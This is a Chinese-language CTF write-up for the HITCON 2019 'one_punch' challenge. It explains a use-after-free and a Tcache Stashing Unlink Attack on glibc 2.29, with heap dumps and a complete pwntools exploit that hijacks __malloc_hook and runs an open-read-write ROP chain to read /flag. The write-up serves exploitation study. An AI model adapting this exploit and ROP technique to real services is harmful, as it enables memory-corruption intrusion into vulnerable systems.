• hitcon_ctf_2019_one_punch wp


    hitcon_ctf_2019_one_punch

    遇到一个比较新的题,涉及到知识盲区,在此记录一下,libc是2.29

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    64位程序,依旧保护是全开,具体程序的执行流程在此不累赘,直接看存在漏洞的函数,delete函数存在uaf

    void sub_1568()
    {
      unsigned int v0; // [rsp+Ch] [rbp-4h]
    
      puts_("idx: ");
      v0 = my_read();
      if ( v0 > 2 )
        error((__int64)"invalid");
      free(*((void **)&unk_4040 + 2 * v0));
    }
    

    这个题比较新的地方是add函数使用是calloc去申请堆,而不是malloc,但是在其他位置还是存在用malloc申请堆的函数,但是是被限制,需要个数大于6才能调用

    __int64 sub_15BB()
    {
      void *buf; // [rsp+8h] [rbp-8h]
    
      if ( *(_BYTE *)(qword_4030 + 32) <= 6 )
        error((__int64)"gg");
      buf = malloc(0x217uLL);
      if ( !buf )
        error((__int64)"err");
      if ( read(0, buf, 0x217uLL) <= 0 )
        error((__int64)"io");
      puts("Serious Punch!!!");
      puts(&unk_2128);
      return puts(buf);
    }
    

    绕过这个if判断,可以向其中写进一个 main_arena地址 ,结合题目的calloc,假设我们能构造好特定的结构,比如tcache bin中是6个,small bin满足2个,当执行calloc,small bin中的chunk会被插入到tcache bin中,直到满足7个,此时向其写进一个 main_arena地址 ,具体还是得看libc-2.29的源码,其中涉及到很细节的东西, ha1vk的分析很不错(https://blog.csdn.net/seaaseesa/article/details/105870247)
    下面结合本地调试

    首先malloc的部分申请的堆大小是0x217,并且我们需要泄露libc等等,构建两个堆

    add(0,'a'*0x218)
    add(1,'b'*0x80)
    

    泄露heap_addr和libc比较简单就不讲述了,主要就是利用uaf,我们是要构建两个small bin出来,这里我们就需要借助malloc_consolidata(大于small bin触发)。当泄露释放chunk 0的时候,此时unsorted bin大小为0x220,申请一下0x180,切割unsorted bin,剩余0x90放入small bin

    add(1,'a'*0x180)
    add(1,'a'*0x400)
    
    add(2,'a'*0x100)#隔开
    

    此时可以看到smallbins

    0x90: 0x555555be63e0 —▸ 0x7f754e343d20 (main_arena+224) ◂— 0x555555be63e0
    

    再次构造一个small bin,因为unsorted bin现在没有东西,构造一个chunk进入unsorted bin,然后切割,malloc_consolidata触发,让其切割后的部分进入small bin,这样达成两个small bin

    for i in range(7):
        delete(1)
        edit(1,'c'*0x10)
    
    delete(1)#unsorted bin size 0x410
    add(2,0x370*'d')
    add(2,0x400*'d')
    
    smallbins
    0x90: 0x555556878880 —▸ 0x5555568783e0 —▸ 0x7fef97642d20 (main_arena+224) ◂— 0x555556878880
    

    修改倒数第二个chunk的bk

    fd = heap_addr+0x180
    bk = heap_addr-0x260+0x20
    payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
    edit(1,payload)
    

    此时,目标地址因为被写进small bin的地址。看一下数据

    0x5555568e7870: 0x6565656565656565      0x6565656565656565
    0x5555568e7880: 0x0000000000000000      0x0000000000000091
    0x5555568e7890: 0x00005555568e73e0      0x00005555568e7020
    0x5555568e78a0: 0x6161616161616161      0x6161616161616161
    0x5555568e78b0: 0x6161616161616161      0x6161616161616161
    0x5555568e78c0: 0x6161616161616161      0x6161616161616161
    0x5555568e78d0: 0x6161616161616161      0x6161616161616161
    0x5555568e78e0: 0x6161616161616161      0x6161616161616161
    0x5555568e78f0: 0x6161616161616161      0x6161616161616161
    0x5555568e7900: 0x6161616161616161      0x0061616161616161
    

    这里的bk我们写进了0x00005555568e7020,看一下tcache bin

    0x90 [  6]: 0x555557413480
    

    在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,
    直到tcache bin填满,因此我们申请add一个,再看tcache bin

    add(1,'a'*0x80)
    

    tcache bin如下

    0x90 [  7]: 0x5555572f5890 —▸ 0x5555572f5480
    

    可见原本small bin的chunk被加入tcache bin,接下来将malloc_hook连入链表

    edit(0,p64(malloc_hook))
    

    这样0x220大小的chunk,就形成链

    0x220 [ 32]: 0x55555672a260 —▸ 0x7f7a5447ac30 (__malloc_hook) ◂— 0x0
    malloc('/flag\x00')
    0x220 [ 31]: 0x7fc2fbcabc30 (__malloc_hook) ◂— 0x0
    

    下次申请的时候,在malloc_hook的地方写进shellcode即可,但是这个题开启了沙箱,只能通过orw来读取flag,构造一下

    add_rsp = libc_base+0x8CFD6
    pop_rdi = libc_base+0x26542
    pop_rsi = libc_base+0x26f9e
    pop_rdx = libc_base+0x12bda6
    pop_rax = libc_base+0x47cf8
    syscall = libc_base+0x10D022
    rop =  p64(pop_rdi)+p64(heap_addr)
    rop += p64(pop_rsi)+p64(0)
    rop += p64(pop_rax)+p64(2)
    rop += p64(syscall)
    #read 3
    read = libc_base+libc.sym['read']
    rop += p64(pop_rdi)+p64(3)
    rop += p64(pop_rsi)+p64(heap_addr)
    rop += p64(pop_rdx)+p64(0x30)
    rop += p64(read)
    #write 1
    write = libc_base+libc.sym['write']
    rop += p64(pop_rdi)+p64(1)
    rop += p64(pop_rsi)+p64(heap_addr)
    rop += p64(pop_rdx)+p64(0x30)
    rop += p64(write)
    

    完整的exp如下

    from pwn import *
    
    context(os = "linux", arch = "amd64")#,log_level= "debug")
    context.terminal = ['tmux', 'splitw', '-h']
    
    r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so','./hitcon_ctf_2019_one_punch'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'})
    libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
    #r = remote('node4.buuoj.cn',29390)
    #libc = ELF('./buu64_libc-2.29.so')
    
    def menu(choice):
        r.recvuntil('> ')
        r.sendline(str(choice))
    
    def add(idx,content):
        menu(1)
        r.recvuntil('idx: ')
        r.sendline(str(idx))
        r.recvuntil('hero name: ')
        r.send(content)
    
    def edit(idx,content):
        menu(2)
        r.recvuntil('idx: ')
        r.sendline(str(idx))
        r.recvuntil('hero name: ')
        r.send(content)
    
    def show(idx):
        menu(3)
        r.recvuntil('idx: ')
        r.sendline(str(idx))
    
    def delete(idx):
        menu(4)
        r.recvuntil('idx: ')
        r.sendline(str(idx))
    
    def punch(content):
        menu(50056)
        r.send(content)
    
    add(0,'a'*0x218)
    add(1,'b'*0x80)
    
    for i in range(6):
        delete(1)
        edit(1,'b'*0x10)
    
    for i in range(6):
        delete(0)
        edit(0,'a'*0x10)
    
    delete(0)
    show(0)
    r.recvuntil('hero name: ')
    heap_addr = u64(r.recv(6).ljust(8,'\x00'))
    print('heap_addr',hex(heap_addr))
    
    edit(0,'a'*0x10)
    delete(0)
    show(0)
    r.recvuntil('hero name: ')
    libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e4ca0
    print(hex(libc_base))
    
    add(1,'a'*0x180)
    add(1,'a'*0x400)
    add(2,'a'*0x100)
    
    for i in range(7):
        delete(1)
        edit(1,'c'*0x10)
    
    delete(1)
    add(2,0x370*'d')
    add(2,0x400*'d')
    
    fd = heap_addr+0x180
    bk = heap_addr-0x260+0x20
    payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
    edit(1,payload)
    add(1,'f'*0x80)
    
    malloc_hook = libc_base+libc.sym['__malloc_hook']
    print('malloc_hook',hex(malloc_hook))
    edit(0,p64(malloc_hook))
    punch('/flag\x00')
    
    add_rsp = libc_base+0x8CFD6
    pop_rdi = libc_base+0x26542
    pop_rsi = libc_base+0x26f9e
    pop_rdx = libc_base+0x12bda6
    pop_rax = libc_base+0x47cf8
    syscall = libc_base+0x10D022
    rop =  p64(pop_rdi)+p64(heap_addr)
    rop += p64(pop_rsi)+p64(0)
    rop += p64(pop_rax)+p64(2)
    rop += p64(syscall)
    #read 3
    read = libc_base+libc.sym['read']
    rop += p64(pop_rdi)+p64(3)
    rop += p64(pop_rsi)+p64(heap_addr)
    rop += p64(pop_rdx)+p64(0x30)
    rop += p64(read)
    #write 1
    write = libc_base+libc.sym['write']
    rop += p64(pop_rdi)+p64(1)
    rop += p64(pop_rsi)+p64(heap_addr)
    rop += p64(pop_rdx)+p64(0x30)
    rop += p64(write)
    
    punch(p64(add_rsp))
    add(1,rop)
    gdb.attach(r)
    r.interactive()
    

    参考:https://www.cnblogs.com/countfatcode/p/13052724.html

    https://blog.csdn.net/seaaseesa/article/details/105870247

    https://blog.csdn.net/qq_41453285/article/details/97627411

    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    OCP-1Z0-053-V12.02-614题
    OCP-1Z0-053-V12.02-615题
    OCP-1Z0-053-V12.02-218题
    OCP-1Z0-053-V12.02-377题
    文件内存映射CreateFileMapping和GlobalAlloc内存分配
    为什么C++不提供override这个关键字呀
    OCP-1Z0-052-V8.02-74题
    OCP-1Z0-053-V12.02-558题
    OCP-1Z0-053-V12.02-559题
    OCP-1Z0-053-V12.02-33题
  • 原文地址:https://www.cnblogs.com/crfshadow/p/15686088.html
Copyright © 2020-2023  润新知